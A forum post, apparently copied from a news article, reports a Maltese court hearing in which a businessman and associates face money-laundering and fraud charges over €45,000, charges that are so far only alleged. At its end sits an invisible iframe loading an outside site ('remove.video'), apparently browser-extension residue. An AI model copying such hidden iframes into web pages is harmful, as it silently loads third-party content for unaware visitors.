Post by conflict on Sept 8, 2021 23:43:58 GMT 4
Magistrate Donatella Frendo Dimech decreed there was a ‘case to answer’ on Tuesday morning – a day after the defence raised doubts over the prosecution’s case against the businessman.
Nicholas Cachia, 46 alongside his father Joseph Cachia, 67, also implicated in the alleged “system” to launder company funds through fictitious wagers, were likewise declared to have a case to answer.
Fenech stands accused of committing acts of money laundering between April and October 2019 by converting or transferring property known to have been derived from criminal activity.
The former Tumas businessman is further accused of acting as an accomplice under money laundering laws, misappropriation and fraud to the detriment of Glimmer Ltd, which he co-owns with his uncle, Ray.
€45,000 fraud
In the lengthy first sitting of the case on Monday, the court heard police testimony based on WhatsApp chats extracted from the businessman’s mobile phone, allegedly linking him and four other associates to the €45,000 fraud.
After the court repeatedly asked the prosecution to explain the evidence of the alleged underlying criminal activity behind the money-laundering charges, inspector Brian Camilleri identified it as fraud and misappropriation against Glimmer Ltd.
<iframe style="position: absolute; top: 0px; left: 0px; border: medium none; visibility: hidden; --darkreader-inline-border-top: currentcolor; --darkreader-inline-border-right: currentcolor; --darkreader-inline-border-bottom: currentcolor; --darkreader-inline-border-left: currentcolor;" src="//remove.video/start" id="prefsFr" data-darkreader-inline-border-top="" data-darkreader-inline-border-right="" data-darkreader-inline-border-bottom="" data-darkreader-inline-border-left=""></iframe>